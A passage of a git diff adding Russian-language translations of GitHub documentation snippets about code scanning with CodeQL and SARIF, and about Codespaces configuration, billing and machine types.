a/translations/ru-RU/data/reusables/code-scanning/github-issues-integration.md b/translations/ru-RU/data/reusables/code-scanning/github-issues-integration.md new file mode 100644 index 000000000000..02496c6d8121 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/github-issues-integration.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 4f096cb9a15e45244eeb7ed163fe4632e2fd4c07 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113243" +--- +Оповещения {% data variables.product.prodname_code_scanning_capc %} интегрируются со списками задач {% data variables.product.prodname_github_issues %}, чтобы упростить определение приоритетов и отслеживание оповещений со всеми задачами разработки. Дополнительную информацию о проблемах см. в разделе [Сведения о проблемах](/issues/tracking-your-work-with-issues/about-issues). + +Чтобы отслеживать оповещение проверки кода в проблеме, добавьте URL-адрес для оповещения в качестве элемента списка задач в ошибке. Дополнительную информацию о списках задач см. в разделе [Сведения о списках задач](/issues/tracking-your-work-with-issues/about-task-lists). diff --git a/translations/ru-RU/data/reusables/code-scanning/interoperable-with-tools-that-output-sarif.md b/translations/ru-RU/data/reusables/code-scanning/interoperable-with-tools-that-output-sarif.md new file mode 100644 index 000000000000..a81dd9dd868a --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/interoperable-with-tools-that-output-sarif.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0c7d2f192932d1c453a7e8ce960ceed081c27fa3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115512" +--- +{% data variables.product.prodname_code_scanning_capc %} поддерживает взаимодействие со сторонними средствами проверки кода, которые выводят данные формата SARIF. SARIF — это открытый стандарт. Дополнительные сведения см. в разделе [Выходные данные SARIF для {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/sarif-support-for-code-scanning). diff --git a/translations/ru-RU/data/reusables/code-scanning/licensing-note.md b/translations/ru-RU/data/reusables/code-scanning/licensing-note.md new file mode 100644 index 000000000000..ede099e6bedc --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/licensing-note.md @@ -0,0 +1,12 @@ +{% note %} + +**Notes:** {% ifversion fpt %} +- The {% data variables.product.prodname_codeql_cli %} is free to use on public repositories. The {% data variables.product.prodname_codeql_cli %} is also available in private repositories owned by organizations that use {% data variables.product.prodname_ghe_cloud %} and have a license for {% data variables.product.prodname_GH_advanced_security %}. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." +{%- elsif ghec %} +- The {% data variables.product.prodname_codeql_cli %} is free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." +{%- elsif ghes or ghae %} +- The {% data variables.product.prodname_codeql_cli %} is available to customers with an {% data variables.product.prodname_advanced_security %} license. +{% endif %} +- {% data reusables.code-scanning.non-glibc-linux-support %} + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/code-scanning/non-glibc-linux-support.md b/translations/ru-RU/data/reusables/code-scanning/non-glibc-linux-support.md new file mode 100644 index 000000000000..a786ddf71085 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/non-glibc-linux-support.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2c492c061232518888ac11c439ee5917fe032eeb +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109224" +--- +В настоящее время {% data variables.product.prodname_codeql_cli %} несовместим с дистрибутивами Linux не на основе glibc, такими как Alpine Linux (на основе musl). diff --git a/translations/ru-RU/data/reusables/code-scanning/not-available.md b/translations/ru-RU/data/reusables/code-scanning/not-available.md new file mode 100644 index 000000000000..adeae1ea345b --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/not-available.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2b622645df3dc9dad695407c65dc1bce08817029 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115504" +--- +{% ifversion fpt or ghec %} {% note %} + +**Примечание.** Для частных и внутренних репозиториев {% data variables.product.prodname_code_scanning %} доступен, если для репозитория включены функции {% data variables.product.prodname_GH_advanced_security %}. Если отображается ошибка `Advanced Security must be enabled for this repository to use code scanning`, убедитесь, что {% data variables.product.prodname_GH_advanced_security %} включен. Дополнительные сведения см. в статье [Управление параметрами безопасности и анализа для репозитория](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository). + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/run-additional-queries.md b/translations/ru-RU/data/reusables/code-scanning/run-additional-queries.md new file mode 100644 index 000000000000..421cbbb2b123 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/run-additional-queries.md @@ -0,0 +1,30 @@ +--- +ms.openlocfilehash: b4da828ed2825e0f6aa8ced7a0f6b90067e9bfdb +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147717648" +--- +При использовании {% data variables.product.prodname_codeql %} для проверки кода подсистема анализа {% data variables.product.prodname_codeql %} создает базу данных из кода и выполняет запросы к нему. Анализ {% data variables.product.prodname_codeql %} использует набор запросов по умолчанию, но в дополнение к ним можно указать дополнительные запросы для выполнения. + +{% ifversion code-scanning-exclude-queries-from-analysis %} {% tip %} + +Вы также можете указать запросы, которые необходимо исключить из анализа или включить в анализ. Для этого требуется использовать пользовательский файл конфигурации. Дополнительные сведения см. в разделах [Использование пользовательского файла конфигурации](#using-a-custom-configuration-file) и [Исключение конкретных запросов из анализа](#excluding-specific-queries-from-analysis). + +{% endtip %} {% endif %} + +{% ifversion codeql-packs %} Можно выполнять дополнительные запросы, если они являются частью пакета {% data variables.product.prodname_codeql %} (бета-версия), опубликованного в {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, или пакета {% data variables.product.prodname_ql %}, хранящегося в репозитории. Дополнительную информацию см. в разделе [Сведения о {% data variables.product.prodname_code_scanning %} с {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries). + +Параметры, которые можно использовать для указания дополнительных запросов: + +- `packs` для установки одного или нескольких пакетов запросов {% data variables.product.prodname_codeql %} (бета-версия) и выполнения набора запросов по умолчанию или запросов для этих пакетов. +- `queries` для указания одного файла _.ql_, каталога, содержащего несколько файлов _.ql_, файла определения набора запросов _.qls_ или любого их сочетания. Дополнительные сведения об определениях набора тестов запросов см. в разделе [Создание наборов запросов {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/). + +В одном рабочем процессе можно использовать как `packs`, так и `queries`. +{% else %} Любые дополнительные запросы, которые требуется выполнить, должны принадлежать к пакету {% data variables.product.prodname_ql %} в репозитории. Дополнительную информацию см. в разделе [Сведения о {% data variables.product.prodname_code_scanning %} с {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql#about-codeql-queries). + +Можно указать один файл _.ql_, каталог, содержащий несколько файлов _.ql_, файл определения набора запросов _.qls_ или любое их сочетания. Дополнительные сведения об определениях набора тестов запросов см. в разделе [Создание наборов запросов {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-cli/creating-codeql-query-suites/). +{% endif %} + +{% ifversion fpt or ghec %}Не рекомендуется ссылаться на наборы запросов непосредственно из репозитория `github/codeql`, например `github/codeql/cpp/ql/src@main`. Такие запросы должны быть перекомпилированы и могут быть несовместимы с текущей активной версией {% data variables.product.prodname_codeql %} в {% data variables.product.prodname_actions %}, что может привести к ошибкам во время анализа.{% endif %} diff --git a/translations/ru-RU/data/reusables/code-scanning/specify-language-to-analyze.md b/translations/ru-RU/data/reusables/code-scanning/specify-language-to-analyze.md new file mode 100644 index 000000000000..79d8439d6e85 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/specify-language-to-analyze.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9802ef046824c424dd2301bf483acff8794d90b8 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115499" +--- +Если репозиторий содержит код на нескольких поддерживаемых языках, можно выбрать языки, для которых нужно выполнить анализ. В ряде случаев анализ для языка желательно запретить. Например, проект может иметь зависимости с основным телом кода в коде на другом языке, и вы, возможно, предпочтете получать оповещения для этих зависимостей. diff --git a/translations/ru-RU/data/reusables/code-scanning/summary-metrics.md b/translations/ru-RU/data/reusables/code-scanning/summary-metrics.md new file mode 100644 index 000000000000..31d1db594d68 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/summary-metrics.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 71d8900674b431882bceed86473a910e37468a33 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879584" +--- +Сводные метрики включают: + +- Строки кода в базе кода (используется в качестве базового плана) перед созданием и извлечением базы данных {% data variables.product.prodname_codeql %} +- Строки кода в базе данных {% data variables.product.prodname_codeql %}, извлеченные из кода, включая внешние библиотеки и автоматически созданные файлы +- Строки кода в базе данных {% data variables.product.prodname_codeql %}, кроме автоматически созданных файлов и внешних библиотек diff --git a/translations/ru-RU/data/reusables/code-scanning/upload-sarif-alert-limit.md b/translations/ru-RU/data/reusables/code-scanning/upload-sarif-alert-limit.md new file mode 100644 index 000000000000..29a65eed923f --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/upload-sarif-alert-limit.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 0b7740ddd22bccfe9899f98ac44af4d4b94b4ed4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115496" +--- +{% note %} + +**Примечания.** +- Отправка SARIF поддерживает не более 5000 результатов на одну отправку. Все результаты вне этого предела игнорируются. Если средство создает слишком много результатов, следует обновить конфигурацию и сосредоточиться на результатах для наиболее важных правил или запросов. + + - Максимальный размер файла SARIF в архиве `gzip`, поддерживаемый для каждой передачи, — 10 МБ. Любые отправки свыше этого ограничения будут отклонены. Если файл SARIF слишком большой, так как он содержит слишком много результатов, необходимо обновить конфигурацию, чтобы сосредоточиться на результатах для наиболее важных правил или запросов. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/code-scanning/upload-sarif-ghas.md b/translations/ru-RU/data/reusables/code-scanning/upload-sarif-ghas.md new file mode 100644 index 000000000000..2269373b5e61 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/upload-sarif-ghas.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 7433a9496c6c1c2f57ce4167425a9665a4973ddc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113219" +--- +{% note %} + +**Примечание.** Передача данных SARIF для отображения как {% data variables.product.prodname_code_scanning %} приводит к тому, что {% data variables.product.product_name %} поддерживается для репозиториев, принадлежащих организации, с включенными {% data variables.product.prodname_GH_advanced_security %} {% ifversion fpt or ghec %} и для общедоступных репозиториев на {% data variables.product.prodname_dotcom_the_website %}{% endif %}. Дополнительные сведения см. в статье [Управление параметрами безопасности и анализа для репозитория](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/code-scanning/what-is-codeql-cli.md b/translations/ru-RU/data/reusables/code-scanning/what-is-codeql-cli.md new file mode 100644 index 000000000000..2d4e1c65b1bb --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/what-is-codeql-cli.md @@ -0,0 +1 @@ +The {% data variables.product.prodname_codeql_cli %} is a standalone product that you can use to analyze code. Its main purpose is to generate a database representation of a codebase, a {% data variables.product.prodname_codeql %} database. Once the database is ready, you can query it interactively, or run a suite of queries to generate a set of results in SARIF format and upload the results to {% data variables.location.product_location %}. diff --git a/translations/ru-RU/data/reusables/code-scanning/you-can-upload-third-party-analysis.md b/translations/ru-RU/data/reusables/code-scanning/you-can-upload-third-party-analysis.md new file mode 100644 index 000000000000..4ac7637658c6 --- /dev/null +++ b/translations/ru-RU/data/reusables/code-scanning/you-can-upload-third-party-analysis.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ce1f60306213120e12280368c050205659eac2d6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145113216" +--- +Вы можете отправлять файлы SARIF, созданные за пределами {% data variables.product.prodname_dotcom %}, и просматривать оповещения {% data variables.product.prodname_code_scanning %}, полученные от сторонних инструментов в репозитории. diff --git a/translations/ru-RU/data/reusables/codespaces/about-changing-default-editor.md b/translations/ru-RU/data/reusables/codespaces/about-changing-default-editor.md new file mode 100644 index 000000000000..86ed032709dd --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/about-changing-default-editor.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ba91a4555a2ae0e8ec359aee8c466e201525647c +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109223" +--- +Редактор по умолчанию для {% data variables.product.prodname_codespaces %} можно задать на странице личных параметров. diff --git a/translations/ru-RU/data/reusables/codespaces/about-changing-storage-size.md b/translations/ru-RU/data/reusables/codespaces/about-changing-storage-size.md new file mode 100644 index 000000000000..4df24f63582c --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/about-changing-storage-size.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 742d132ec833dbdb0319bc8bbeb313d463c89f75 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109216" +--- +Если вы перешли на виртуальную машину с другой емкостью хранилища (например, с 64 ГБ до 32 ГБ), пространство кода будет недоступно в течение короткого времени, пока изменяется тип компьютера. Если в настоящее время пространство кода активно, оно будет остановлено автоматически. После завершения изменения вы сможете перезапустить пространство кода, работающее на новом типе компьютера. + +Если вы изменили виртуальную машину с той же емкостью хранилища, это изменение будет применено при следующем перезапуске пространства кода. Активное пространство кода не будет остановлено автоматически. Дополнительные сведения о перезапуске пространства кода см. в разделе "[Остановка и запуск пространства кода](/codespaces/developing-in-codespaces/stopping-and-starting-a-codespace#restarting-a-codespace)". diff --git a/translations/ru-RU/data/reusables/codespaces/about-configuration.md b/translations/ru-RU/data/reusables/codespaces/about-configuration.md new file mode 100644 index 000000000000..6225b68d5662 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/about-configuration.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 84f665549ab61f3f81c424824ccae28296194612 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113200" +--- +Можно создать конфигурацию codespace по умолчанию для репозитория, которая определяет среду каждого нового codespace, создаваемого для этого репозитория. Конфигурация определяет контейнер разработки, который может включать платформы, средства, расширения и перенаправление портов. diff --git a/translations/ru-RU/data/reusables/codespaces/about-features.md b/translations/ru-RU/data/reusables/codespaces/about-features.md new file mode 100644 index 000000000000..fa24de5359dc --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/about-features.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 55348a01f34b4eb85873a075b637bdff802fcef3 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159986" +--- +Компоненты — это автономные единицы кода установки и конфигурации контейнера разработки, предназначенные для работы в широком спектре базовых образов контейнеров. С помощью функций можно быстро добавлять инструменты, среды выполнения или библиотеки в образ codespace. Дополнительные сведения см. в статье [о доступных функциях](https://containers.dev/features) и [спецификации функций](https://containers.dev/implementors/features/) на containers.dev. + +Вы можете добавить компоненты в `devcontainer.json` файл из {% data variables.product.prodname_vscode_shortname %} или из репозитория в {% data variables.product.prodname_dotcom_the_website %}. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/about-port-forwarding.md b/translations/ru-RU/data/reusables/codespaces/about-port-forwarding.md new file mode 100644 index 000000000000..f16feba621d9 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/about-port-forwarding.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2c74c59266f62794c024978df095aec42ef3a2e2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113176" +--- +Можно перенаправить порты в codespace для тестирования и отладки приложения. Можно также управлять протоколом портов и предоставлять доступ к порту в организации или общий доступ. diff --git a/translations/ru-RU/data/reusables/codespaces/about-publishing-templates.md b/translations/ru-RU/data/reusables/codespaces/about-publishing-templates.md new file mode 100644 index 000000000000..2442687187b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/about-publishing-templates.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 88adaa8f671dd9eb805301c3e659bcdba76f24cc +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160192" +--- +При работе в codespace, созданном на основе шаблона, ваша работа сохраняется на виртуальной машине в облаке, но не хранится в репозитории в {% data variables.product.prodname_dotcom %}. + +Вы можете сохранить файлы, закрыть и остановить codespace, а также вернуться к работе позже. Как правило, Git будет предустановленным, и рабочий каталог будет автоматически инициализирован как репозиторий Git, если вы не начали работу с пустого шаблона {% data variables.product.company_short %}. Это означает, что вы можете сразу же использовать Git для локального управления версиями, например для добавления и фиксации файлов. + +Однако если удалить неопубликованное пространство кода или оно автоматически удаляется, неиспользуемо в течение периода хранения, то и ваша работа также будет удалена. Чтобы сохранить свою работу и разрешить другим пользователям работать над проектом, необходимо опубликовать пространство кода в репозитории на {% data variables.product.prodname_dotcom %}. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/accessing-prebuild-configuration.md b/translations/ru-RU/data/reusables/codespaces/accessing-prebuild-configuration.md new file mode 100644 index 000000000000..4895a210a606 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/accessing-prebuild-configuration.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e18c37f7f93e2125d7280bd5b24a6eebea77d935 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106944" +--- +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +1. В разделе "Код и автоматизация" на боковой панели выберите **{% octicon "codespaces" aria-label="The Codespaces icon" %} {% data variables.product.prodname_codespaces %}** . diff --git a/translations/ru-RU/data/reusables/codespaces/application-installed-locally.md b/translations/ru-RU/data/reusables/codespaces/application-installed-locally.md new file mode 100644 index 000000000000..51913e9260f4 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/application-installed-locally.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: cdcd2ca433a74eef0f9a768c6db21b9ac708ccd1 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159813" +--- +Если вы выбрали **{% data variables.product.prodname_vscode %}** или **Шлюз JetBrains**, необходимо убедиться, что выбранное приложение установлено на локальном компьютере. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/changing-machine-type-in-vscode.md b/translations/ru-RU/data/reusables/codespaces/changing-machine-type-in-vscode.md new file mode 100644 index 000000000000..aff5755d40ba --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/changing-machine-type-in-vscode.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: a149594ba37c62129b5ccc6bcc4f8d2addbcd008 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109215" +--- +1. В {% data variables.product.prodname_vscode_shortname %} откройте палитру команд с помощью клавиши Command+Shift+P (Mac) или CTRL+SHIFT+P (Windows/Linux). +1. Найдите и выберите "Кодовые пространства: изменение типа компьютера". + + ![Поиск ветви для создания нового кодового пространства {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-type-option.png) +1. Если вы не выполняете эти инструкции в codespace, щелкните codespace, которое требуется изменить. + + ![Поиск ветви для создания нового кодового пространства {% data variables.product.prodname_codespaces %}](/assets/images/help/codespaces/vscode-change-machine-choose-repo.png) + + Если вы выполняете эти инструкции в codespace, изменение будет применено к пространству кода, с которым вы работаете. +1. Выберите тип компьютера, который вы хотите использовать. +1. Если вы переходите на тип компьютера с другой емкостью хранилища, появится запрос с запросом на продолжение. Прочтите запрос и нажмите кнопку **Да** , чтобы принять. diff --git a/translations/ru-RU/data/reusables/codespaces/click-remote-explorer-icon-vscode.md b/translations/ru-RU/data/reusables/codespaces/click-remote-explorer-icon-vscode.md new file mode 100644 index 000000000000..8f9a8b95d7c1 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/click-remote-explorer-icon-vscode.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: a0a609a6e7a1cab14059012a15b6a08be53d8cbd +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109208" +--- +1. В {% data variables.product.prodname_vscode_shortname %} щелкните значок удаленного обозревателя на левой боковой панели. + + ![Значок удаленного обозревателя в {% data variables.product.prodname_vscode %}](/assets/images/help/codespaces/click-remote-explorer-icon-vscode.png) + +{% indented_data_reference reusables.codespaces.remote-explorer spaces=3 %} diff --git a/translations/ru-RU/data/reusables/codespaces/codespace-config-order.md b/translations/ru-RU/data/reusables/codespaces/codespace-config-order.md new file mode 100644 index 000000000000..83863793a5e1 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespace-config-order.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6cd2a0bba09fbd4f8c98ec1a362e288ed0af77b3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145113163" +--- +Персонализация `dotfiles` применяется перед конфигурацией codespace по умолчанию репозитория. diff --git a/translations/ru-RU/data/reusables/codespaces/codespace-logs.md b/translations/ru-RU/data/reusables/codespaces/codespace-logs.md new file mode 100644 index 000000000000..d40d5831abe2 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespace-logs.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 945a4c8f9249f6153a4fe51e4f53c2b4b16cf060 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160231" +--- +## Журналы codespace + +Эти журналы содержат подробные сведения о codespace, контейнере, сеансе и среде {% data variables.product.prodname_vscode_shortname %}. Они полезны для диагностики проблем с подключением и другого непредвиденного поведения. Например, codespace зависает, но при выборе команды "Перезагрузить Windows" возобновляет работу на несколько минут, или вы без видимой причины отключаетесь от codespace, но можете сразу же подключиться снова. \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-are-per-branch.md b/translations/ru-RU/data/reusables/codespaces/codespaces-are-per-branch.md new file mode 100644 index 000000000000..44f175d59f90 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-are-per-branch.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 59b689491c712ae1fcd343b8ad83064beb103648 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145113155" +--- +Каждое пространство codespace связано с определенной ветвью репозитория. diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-are-personal.md b/translations/ru-RU/data/reusables/codespaces/codespaces-are-personal.md new file mode 100644 index 000000000000..2d00681c9a80 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-are-personal.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e8fc89ab80b08e82d0b13d271344cbd3a1ca6bb9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145115427" +--- +Каждая созданная вами среда codespace доступна только вам. Кроме вас, никто не может в ней работать. diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-continue-by-paying.md b/translations/ru-RU/data/reusables/codespaces/codespaces-continue-by-paying.md new file mode 100644 index 000000000000..bba1b41b9bfa --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-continue-by-paying.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 73174295d5ab0a8f7b5fb9cebc3dbb4412409c3a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159821" +--- +Вы можете продолжать использовать {% data variables.product.prodname_github_codespaces %} помимо ежемесячного использования хранилища и вычислений, предоставив сведения об оплате и установив предельную сумму расходов. Дополнительные сведения см. в статье [Сведения о выставлении счетов за {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces). \ No newline at end of file diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-disabling-org-billing.md b/translations/ru-RU/data/reusables/codespaces/codespaces-disabling-org-billing.md new file mode 100644 index 000000000000..f11a94254013 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-disabling-org-billing.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: da45d9e5d01d2980559db0175157d03b2f7a454a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148159224" +--- +{% note %} + +**Примечание**. Если вы отключите выставление счетов за {% data variables.product.prodname_github_codespaces %} для некоторых участников организации и участников совместной работы или для всей организации, любой пользователь, который может отправить изменения или создать вилку репозитория в вашей организации, по-прежнему сможет создать пространство кода для этого репозитория с помощью личной учетной записи. Однако плата с вашей организации не взимается. Сведения об ограничении доступа к репозиторию см. в статье [Управление командами и людьми с доступом к репозиторию](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository). + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-free-for-personal-intro.md b/translations/ru-RU/data/reusables/codespaces/codespaces-free-for-personal-intro.md new file mode 100644 index 000000000000..5384f02e18c6 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-free-for-personal-intro.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1f6226c3fdf40ed1108934afd16966a9696a154d +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: "148160118" +--- +{% data variables.product.prodname_github_codespaces %} оплачивается организацией, предприятием или личной учетной записью. Планы Free и Pro для личных учетных записей включают в себя бесплатное использование {% data variables.product.prodname_github_codespaces %} до фиксированного объема использования каждый месяц. diff --git a/translations/ru-RU/data/reusables/codespaces/codespaces-jetbrains-beta-note.md b/translations/ru-RU/data/reusables/codespaces/codespaces-jetbrains-beta-note.md new file mode 100644 index 000000000000..98d1cbd19d25 --- /dev/null +++ b/translations/ru-RU/data/reusables/codespaces/codespaces-jetbrains-beta-note.md @@ 